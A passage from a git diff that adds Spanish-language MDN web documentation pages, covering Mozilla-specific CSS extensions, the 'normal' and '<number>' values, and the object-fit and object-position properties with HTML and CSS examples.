+ <li><code>spinner-downbutton</code></li>
+ <li><code>spinner-textfield</code></li>
+ <li><code>spinner-upbutton</code></li>
+ <li><code>statusbar</code></li>
+ <li><code>statusbarpanel</code></li>
+ <li><code>tab</code></li>
+ <li><code>tabpanels</code></li>
+ <li><code>tab-scroll-arrow-back</code></li>
+ <li><code>tab-scroll-arrow-forward</code></li>
+ <li><code>textfield</code></li>
+ <li><code>textfield-multiline</code></li>
+ <li><code>toolbar</code></li>
+ <li><code>toolbarbutton-dropdown</code></li>
+ <li><code>toolbox</code></li>
+ <li><code>tooltip</code></li>
+ <li><code>treeheadercell</code></li>
+ <li><code>treeheadersortarrow</code></li>
+ <li><code>treeitem</code></li>
+ <li><code>treetwisty</code></li>
+ <li><code>treetwistyopen</code></li>
+ <li><code>treeview</code></li>
+ <li><code>window</code></li>
+</ul>
+
+<h3 id="background-image" name="background-image">{{cssxref("background-image")}}</h3>
+
+<ul>
+ <li>Gradientes {{Gecko_minversion_inline("1.9.2")}}
+  <ul>
+   <li>{{cssxref("-moz-linear-gradient")}}</li>
+   <li>{{cssxref("-moz-radial-gradient")}}</li>
+  </ul>
+ </li>
+ <li>Elementos {{gecko_minversion_inline("2.0")}}
+  <ul>
+   <li>{{cssxref("-moz-element")}}</li>
+  </ul>
+ </li>
+ <li>Sub-imágenes
+  <ul>
+   <li>{{cssxref("-moz-image-rect")}} {{gecko_minversion_inline("2.0")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="border-color" name="border-color">{{Cssxref("border-color")}}</h3>
+
+<ul>
+ <li><code>-moz-use-text-color</code> {{Deprecated_inline}} Usar {{Cssxref("currentColor")}}</li>
+</ul>
+
+<h3 id="border-style and outline-style" name="border-style and outline-style">{{Cssxref("border-style")}}  y  {{Cssxref("outline-style")}}</h3>
+
+<ul>
+ <li><code>-moz-bg-inset | -moz-bg-outset | -moz-bg-solid </code> {{obsolete_inline}}  abandonado en Gecko 1.9 (Firefox 3.0)</li>
+</ul>
+
+<h3 id="Xref_csscolorvalue()" name="Xref_csscolorvalue()">Palabras clave de {{cssxref("&lt;color&gt;")}}</h3>
+
+<ul style="-moz-column-width: 20em; -webkit-columns: 20em; columns: 20em;">
+ <li><code>-moz-activehyperlinktext</code></li>
+ <li><code>-moz-hyperlinktext</code></li>
+ <li><code>-moz-visitedhyperlinktext</code></li>
+ <li><code>-moz-buttondefault</code></li>
+ <li><code>-moz-buttonhoverface</code></li>
+ <li><code>-moz-buttonhovertext</code></li>
+ <li><code>-moz-default-background-color</code> {{Gecko_minversion_inline("5.0")}}</li>
+ <li><code>-moz-default-color</code> {{Gecko_minversion_inline("5.0")}}</li>
+ <li><code>-moz-cellhighlight</code></li>
+ <li><code>-moz-cellhighlighttext</code></li>
+ <li><code>-moz-field</code></li>
+ <li><code>-moz-fieldtext</code></li>
+ <li><code>-moz-dialog</code></li>
+ <li><code>-moz-dialogtext</code></li>
+ <li><code>-moz-dragtargetzone</code></li>
+ <li><code>-moz-mac-accentdarkestshadow</code></li>
+ <li><code>-moz-mac-accentdarkshadow</code></li>
+ <li><code>-moz-mac-accentface</code></li>
+ <li><code>-moz-mac-accentlightesthighlight</code></li>
+ <li><code>-moz-mac-accentlightshadow</code></li>
+ <li><code>-moz-mac-accentregularhighlight</code></li>
+ <li><code>-moz-mac-accentregularshadow</code></li>
+ <li><code>-moz-mac-chrome-active</code> {{Gecko_minversion_inline("1.9.1")}}</li>
+ <li><code>-moz-mac-chrome-inactive</code> {{Gecko_minversion_inline("1.9.1")}}</li>
+ <li><code>-moz-mac-focusring</code></li>
+ <li><code>-moz-mac-menuselect</code></li>
+ <li><code>-moz-mac-menushadow</code></li>
+ <li><code>-moz-mac-menutextselect</code></li>
+ <li><code>-moz-menuhover</code></li>
+ <li><code>-moz-menuhovertext</code></li>
+ <li><code>-moz-win-communicationstext</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-mediatext</code> {{gecko_minversion_inline(1.9)}}</li>
+ <li><code>-moz-nativehyperlinktext</code> {{Gecko_minversion_inline("1.9.1")}}</li>
+</ul>
+
+<h3 id="display" name="display">{{Cssxref("display")}}</h3>
+
+<ul style="-moz-column-width: 13em; -webkit-columns: 13em; columns: 13em;">
+ <li><code>-moz-box</code></li>
+ <li><code>-moz-inline-block</code> {{obsolete_inline}}</li>
+ <li><code>-moz-inline-box</code></li>
+ <li><code>-moz-inline-grid</code></li>
+ <li><code>-moz-inline-stack</code></li>
+ <li><code>-moz-inline-table</code> {{obsolete_inline}}</li>
+ <li><code>-moz-grid</code></li>
+ <li><code>-moz-grid-group</code></li>
+ <li><code>-moz-grid-line</code></li>
+ <li><code>-moz-groupbox</code></li>
+ <li><code>-moz-deck</code></li>
+ <li><code>-moz-popup</code></li>
+ <li><code>-moz-stack</code></li>
+ <li><code>-moz-marker</code></li>
+</ul>
+
+<h3 id="empty-cells" name="empty-cells">{{cssxref("empty-cells")}}</h3>
+
+<ul>
+ <li><code>-moz-show-background</code> (valor por defecto en modo no estándar <em>quirks mode</em>)</li>
+</ul>
+
+<h3 id="font" name="font">{{Cssxref("font")}}</h3>
+
+<ul style="-moz-column-width: 13em; -webkit-columns: 13em; columns: 13em;">
+ <li><code>-moz-button</code></li>
+ <li><code>-moz-info</code></li>
+ <li><code>-moz-desktop</code></li>
+ <li><code>-moz-dialog</code> (también un color)</li>
+ <li><code>-moz-document</code></li>
+ <li><code>-moz-workspace</code></li>
+ <li><code>-moz-window</code></li>
+ <li><code>-moz-list</code></li>
+ <li><code>-moz-pull-down-menu</code></li>
+ <li><code>-moz-field</code> (también un color)</li>
+</ul>
+
+<h3 id="font-family" name="font-family">{{Cssxref("font-family")}}</h3>
+
+<ul>
+ <li><code>-moz-fixed</code></li>
+</ul>
+
+<h3 id="image-rendering" name="image-rendering">{{Cssxref("image-rendering")}}</h3>
+
+<ul>
+ <li>{{Cssxref("image-rendering","-moz-crisp-edges")}} {{Gecko_minversion_inline("1.9.2")}}</li>
+</ul>
+
+<h3 id="xref_csslength()" name="xref_csslength()">{{cssxref("&lt;length&gt;")}}</h3>
+
+<ul>
+ <li>{{cssxref("-moz-calc")}} {{gecko_minversion_inline("2.0")}}</li>
+</ul>
+
+<h3 id="list-style-type" name="list-style-type">{{Cssxref("list-style-type")}}</h3>
+
+<ul style="-moz-column-width: 20em; -webkit-columns: 20em; columns: 20em;">
+ <li><code>-moz-arabic-indic</code></li>
+ <li><code>-moz-bengali</code></li>
+ <li><code>-moz-cjk-earthly-branch</code></li>
+ <li><code>-moz-cjk-heavenly-stem</code></li>
+ <li><code>-moz-devanagari</code></li>
+ <li><code>-moz-ethiopic-halehame</code></li>
+ <li><code>-moz-ethiopic-halehame-am</code></li>
+ <li><code>-moz-ethiopic-halehame-ti-er</code></li>
+ <li><code>-moz-ethiopic-halehame-ti-et</code></li>
+ <li><code>-moz-ethiopic-numeric</code></li>
+ <li><code>-moz-gujarati</code></li>
+ <li><code>-moz-gurmukhi</code></li>
+ <li><code>-moz-hangul</code></li>
+ <li><code>-moz-hangul-consonant</code></li>
+ <li><code>-moz-japanese-formal</code></li>
+ <li><code>-moz-japanese-informal</code></li>
+ <li><code>-moz-kannada</code></li>
+ <li><code>-moz-khmer</code></li>
+ <li><code>-moz-lao</code></li>
+ <li><code>-moz-malayalam</code></li>
+ <li><code>-moz-myanmar</code></li>
+ <li><code>-moz-oriya</code></li>
+ <li><code>-moz-persian</code></li>
+ <li><code>-moz-simp-chinese-formal</code></li>
+ <li><code>-moz-simp-chinese-informal</code></li>
+ <li><code>-moz-tamil</code></li>
+ <li><code>-moz-telugu</code></li>
+ <li><code>-moz-thai</code></li>
+ <li><code>-moz-trad-chinese-formal</code></li>
+ <li><code>-moz-trad-chinese-informal</code></li>
+ <li><code>-moz-urdu</code></li>
+</ul>
+
+<h3 id="overflow" name="overflow">{{Cssxref("overflow")}}</h3>
+
+<ul>
+ <li>{{Cssxref("-moz-scrollbars-none")}} {{obsolete_inline}}</li>
+ <li>{{Cssxref("-moz-scrollbars-horizontal")}} {{Deprecated_inline}}</li>
+ <li>{{Cssxref("-moz-scrollbars-vertical")}} {{Deprecated_inline}}</li>
+ <li>{{Cssxref("-moz-hidden-unscrollable")}}</li>
+</ul>
+
+<h3 id="text-align" name="text-align">{{Cssxref("text-align")}}</h3>
+
+<ul>
+ <li>{{Cssxref("text-align#Mozilla_Extensions","-moz-center")}}</li>
+ <li>{{Cssxref("text-align#Mozilla_Extensions","-moz-left")}}</li>
+ <li>{{Cssxref("text-align#Mozilla_Extensions","-moz-right")}}</li>
+</ul>
+
+<h3 id="text-decoration" name="text-decoration">{{Cssxref("text-decoration")}}</h3>
+
+<ul>
+ <li><code>-moz-anchor-decoration</code></li>
+</ul>
+
+<h3 id="-moz-user-select" name="-moz-user-select">{{Cssxref("-moz-user-select")}}</h3>
+
+<ul>
+ <li><code>-moz-all</code></li>
+ <li><code>-moz-none</code></li>
+</ul>
+
+<h3 id="width, min-width, and max-width" name="width, min-width, and max-width">{{Cssxref("width")}},  {{Cssxref("min-width")}}  y  {{Cssxref("max-width")}}</h3>
+
+<ul>
+ <li><code>-moz-min-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-fit-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-max-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-available</code> {{Fx_minversion_inline(3)}}</li>
+</ul>
+
+<h2 id="Pseudoelementos_y_pseudoclases">Pseudoelementos y pseudoclases</h2>
+
+<ul style="-moz-column-width: 20em; -webkit-columns: 20em; columns: 20em;">
+ <li>{{Cssxref("::-moz-anonymous-block")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{Cssxref("::-moz-anonymous-positioned-block")}}</li>
+ <li>{{cssxref(":-moz-any")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{Cssxref(":-moz-any-link")}} (selecciona :link y :visited)</li>
+ <li>{{Cssxref(":-moz-bound-element")}}</li>
+ <li>{{Cssxref(":-moz-broken")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref("::-moz-canvas")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-cell-content")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{Cssxref(":-moz-drag-over")}}</li>
+ <li>{{Cssxref(":-moz-first-node")}}</li>
+ <li>{{cssxref("::-moz-focus-inner")}}</li>
+ <li>{{cssxref("::-moz-focus-outer")}}</li>
+ <li>{{cssxref(":-moz-focusring")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{cssxref(":-moz-full-screen")}} {{gecko_minversion_inline("9.0")}}</li>
+ <li>{{cssxref(":-moz-full-screen-ancestor")}} {{gecko_minversion_inline("10.0")}}</li>
+ <li>{{cssxref(":-moz-handler-blocked")}} {{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{cssxref(":-moz-handler-crashed")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{cssxref(":-moz-handler-disabled")}} {{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{Cssxref("::-moz-inline-table")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref(":-moz-last-node")}}</li>
+ <li>{{Cssxref(":-moz-list-bullet")}}</li>
+ <li>{{cssxref(":-moz-list-number")}}</li>
+ <li>{{cssxref(":-moz-loading")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-locale-dir(ltr)")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-locale-dir(rtl)")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-lwtheme")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-lwtheme-brighttext")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-lwtheme-darktext")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("::-moz-math-stretchy")}}</li>
+ <li>{{Cssxref(":-moz-only-whitespace")}}</li>
+ <li>{{Cssxref("::-moz-page")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-page-sequence")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-pagebreak")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-pagecontent")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref(":-moz-placeholder")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{cssxref("::-moz-placeholder")}} {{gecko_minversion_inline("19")}}</li>
+ <li>{{Cssxref("::-moz-progress-bar")}}</li>
+ <li>{{Cssxref("::-moz-range-thumb")}}</li>
+ <li>{{Cssxref("::-moz-range-track")}}</li>
+ <li>{{Cssxref(":-moz-read-only")}}</li>
+ <li>{{Cssxref(":-moz-read-write")}}</li>
+ <li>{{cssxref("::selection","::-moz-selection")}}</li>
+ <li>{{Cssxref("::-moz-scrolled-canvas")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-scrolled-content")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{Cssxref("::-moz-scrolled-page-sequence")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{cssxref(":-moz-suppressed")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{cssxref(":-moz-submit-invalid")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{Cssxref("::-moz-svg-foreign-content")}} <span class="comment">example at <a rel="freelink">resource://gre/res/svg.css</a> , *|*::-moz-svg-foreign-content {display: block !important;position: static !important;}</span></li>
+ <li>{{Cssxref(":-moz-system-metric(images-in-menus)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(mac-graphite-theme)")}} {{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-end-backward)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-end-forward)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-start-backward)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-start-forward)")}} {{Fx_minversion_inline(3)}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-thumb-proportional)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(touch-enabled)")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(windows-default-theme)")}} {{Fx_minversion_inline(3)}}</li>
+ <li>{{Cssxref("::-moz-table")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-cell")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-column")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-column-group")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-outer")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-row")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-row-group")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref(":-moz-tree-checkbox")}}</li>
+ <li>{{Cssxref(":-moz-tree-cell")}}</li>
+ <li>{{Cssxref(":-moz-tree-cell-text")}}</li>
+ <li>{{Cssxref(":-moz-tree-cell-text(hover)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-tree-column")}}</li>
+ <li>{{Cssxref(":-moz-tree-drop-feedback")}}</li>
+ <li>{{Cssxref(":-moz-tree-image")}}</li>
+ <li>{{Cssxref(":-moz-tree-indentation")}}</li>
+ <li>{{Cssxref(":-moz-tree-line")}}</li>
+ <li>{{Cssxref(":-moz-tree-progressmeter")}}</li>
+ <li>{{Cssxref(":-moz-tree-row")}}</li>
+ <li>{{Cssxref(":-moz-tree-row(hover)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-tree-separator")}}</li>
+ <li>{{Cssxref(":-moz-tree-twisty")}}</li>
+ <li>{{Cssxref(":-moz-ui-invalid")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{Cssxref(":-moz-ui-valid")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{cssxref(":-moz-user-disabled")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref("::-moz-viewport")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-viewport-scroll")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{cssxref(":-moz-window-inactive")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{Cssxref("::-moz-xul-anonymous-block")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+</ul>
+
+<h2 id="Reglas_arroba_(At-rules)">Reglas arroba (<em>At-rules</em>)</h2>
+
+<ul>
+ <li>{{Cssxref("@-moz-document")}}</li>
+</ul>
+
+<h2 id="Media_Queries">Media Queries</h2>
+
+<ul style="-moz-column-width: 20em; -webkit-columns: 20em; columns: 20em;">
+ <li>{{Cssxref("Media_queries#-moz-images-in-menus","-moz-images-in-menus")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-mac-graphite-theme","-moz-mac-graphite-theme")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-maemo-classic","-moz-maemo-classic")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-device-pixel-ratio","-moz-device-pixel-ratio")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-scrollbar-end-backward","-moz-scrollbar-end-backward")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-scrollbar-end-forward","-moz-scrollbar-end-forward")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-scrollbar-start-backward","-moz-scrollbar-start-backward")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-scrollbar-start-forward","-moz-scrollbar-start-forward")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-scrollbar-thumb-proportional","-moz-scrollbar-thumb-proportional")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-touch-enabled","-moz-touch-enabled")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-windows-classic","-moz-windows-classic")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-windows-compositor","-moz-windows-compositor")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-windows-default-theme","-moz-windows-default-theme")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref("Media_queries#-moz-windows-theme","-moz-windows-theme")}} {{gecko_minversion_inline("2.0")}}</li>
+</ul>
+
+<h2 id="Otros">Otros</h2>
+
+<ul style="-moz-column-width: 20em; -webkit-columns: 20em; columns: 20em;">
+ <li>{{Cssxref("-moz-alt-content")}} ({{Bug("11011")}})</li>
+</ul>
diff --git a/files/es/web/css/normal/index.html b/files/es/web/css/normal/index.html
new file mode 100644
index 0000000000..fc9f25382b
--- /dev/null
+++ b/files/es/web/css/normal/index.html
@@ -0,0 +1,10 @@
+---
+title: normal
+slug: Web/CSS/normal
+translation_of: Web/CSS/font-variant
+---
+<h2 id="Sumario" name="Sumario">Sumario</h2>
+<p>El valor <i>normal</i> en una propiedad CSS, es normalmente el valor medio de entre los posibles valores que puede tomar. Es el valor por defecto, es decir, el que tiene la propiedad si no establecemos uno distinto.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<p>En la propiedad <code>font-style:</code> <code>normal</code> establece que el tipo de fuente no es <code>italic</code> ni <code>oblique</code>.</p>
+<p>El la propiedad <code>font-size:</code> <code>normal</code>se establece al tamaño de la fuente al tamaño que esté establecido en el User Agent.</p>
diff --git a/files/es/web/css/number/index.html b/files/es/web/css/number/index.html
new file mode 100644
index 0000000000..fcbaad3c7a
--- /dev/null
+++ b/files/es/web/css/number/index.html
@@ -0,0 +1,8 @@
+---
+title: <number>
+slug: Web/CSS/number
+translation_of: Web/CSS/number
+---
+<p>{{ CSSRef() }}</p>
+
+<p>Un valor para una propiedad CSS, un número incluyendo un valor entero {{ Cssxref("integer") }}.</p>
diff --git a/files/es/web/css/object-fit/index.html b/files/es/web/css/object-fit/index.html
new file mode 100644
index 0000000000..0239910a6b
--- /dev/null
+++ b/files/es/web/css/object-fit/index.html
@@ -0,0 +1,164 @@
+---
+title: object-fit
+slug: Web/CSS/object-fit
+tags:
+  - CSS
+  - Imágenes CSS
+  - Layout
+  - Propiedad CSS
+  - Referencia
+  - css layout
+  - object-fit
+  - 'recipe:css-property'
+  - size
+translation_of: Web/CSS/object-fit
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS</a> <strong><code>object-fit</code></strong> indica cómo el contenido de un <a href="/es/docs/Web/CSS/Elemento_reemplazo">elemento reemplazado</a>, por ejemplo un {{HTMLElement("img")}} o {{HTMLElement("video")}}, debería redimensionarse para ajustarse a su contenedor.</p>
+
+<p>Se puede alterar la alineación del contenido del elemento reemplazado utilizando la propiedad {{cssxref("object-position")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-fit.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>object-fit</code> se especifica con una de las palabras claves elegidas de la siguiente lista de valores.</p>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt><code>contain</code></dt>
+ <dd>El contenido reemplazado está dimensionado para mantener su relación de aspecto mientras se ajusta dentro del cuadro de contenido del elemento: su tamaño de objeto concreto se resuelve como una restricción de contenido contra el ancho y la altura utilizados del elemento.</dd>
+ <dt><code>cover</code></dt>
+ <dd><span class="tlid-translation translation" lang="es"><span title="">El contenido reemplazado se dimensiona para mantener su relación de aspecto mientras llena el cuadro de contenido completo del elemento.</span> <span title="">Si la relación de aspecto del objeto no coincide con la relación de aspecto de su caja, entonces el objeto se recortará para que se ajuste.</span></span></dd>
+ <dt><code>fill</code></dt>
+ <dd>Modifica el tamaño del elemento remplazado para llenar el cuadro de contenido. El objeto completo ocupará todo el espacio de la caja. Si el tamaño del elemento no concuerda con el de su caja, se estirará para llenarlo.</dd>
+ <dt><code>none</code></dt>
+ <dd>El contenido reemplazado no se redimensiona.</dd>
+ <dt><code>scale-down</code></dt>
+ <dd><span class="tlid-translation translation" lang="es"><span title="">El contenido se dimensiona como si <code>none</code> o <code>contain</code> estuvieran especificados, lo que resultaría en un tamaño de objeto concreto más pequeño.</span></span></dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+  &lt;h2&gt;object-fit: fill&lt;/h2&gt;
+  &lt;img class="fill" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="fill narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;h2&gt;object-fit: contain&lt;/h2&gt;
+  &lt;img class="contain" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="contain narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;h2&gt;object-fit: cover&lt;/h2&gt;
+  &lt;img class="cover" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="cover narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;h2&gt;object-fit: none&lt;/h2&gt;
+  &lt;img class="none" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="none narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;h2&gt;object-fit: scale-down&lt;/h2&gt;
+  &lt;img class="scale-down" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="scale-down narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+&lt;/section&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">h2 {
+  font-family: Courier New, monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', 500, 450) }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Definicion inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad</h2>
+
+<p>{{Compat("css.properties.object-fit")}}</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>Otras propiedades CSS relacionadas con imágenes: {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+ <li>{{cssxref("background-size")}}</li>
+</ul>
diff --git a/files/es/web/css/object-position/index.html b/files/es/web/css/object-position/index.html
new file mode 100644
index 0000000000..0d76669bdc
--- /dev/null
+++ b/files/es/web/css/object-position/index.html
@@ -0,0 +1,150 @@
+---
+title: object-position
+slug: Web/CSS/object-position
+translation_of: Web/CSS/object-position
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>La propiedad <strong><code>object-position</code></strong> determina el alineamiento del elemento dentro de la caja.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sinstaxis</h2>
+
+<pre class="brush:css">/* &lt;position&gt; valores */
+object-position: 100px 50px;
+
+/* Valores globales */
+object-position: inherit;
+object-position: initial;
+object-position: unset;
+</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>{{ cssxref("&lt;position&gt;") }}, este es un valor de cuatro que representa una posición en 2D con respecto a los bordes de la caja. Posiciones Relativas o absolutas pueden presentar compensaciones. Tenga en cuenta que la posición puede ser establecida fuera de la caja.</dd>
+</dl>
+
+<h3 id="Sitaxis_formal">Sitaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<h4 id="Ejemplo_de_HTML">Ejemplo de HTML</h4>
+
+<pre class="brush: html">&lt;img id="object-position-1" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"/&gt;
+&lt;img id="object-position-2" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"/&gt;
+</pre>
+
+<h4 id="Ejemplo_de_CSS">Ejemplo de CSS</h4>
+
+<pre class="brush: css">img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+  background-color: yellow;
+  margin-right: 1em;
+}
+
+#object-position-1 {
+  object-position: 10px;
+}
+
+#object-position-2 {
+  object-position: 20% 10%;
+}
+</pre>
+
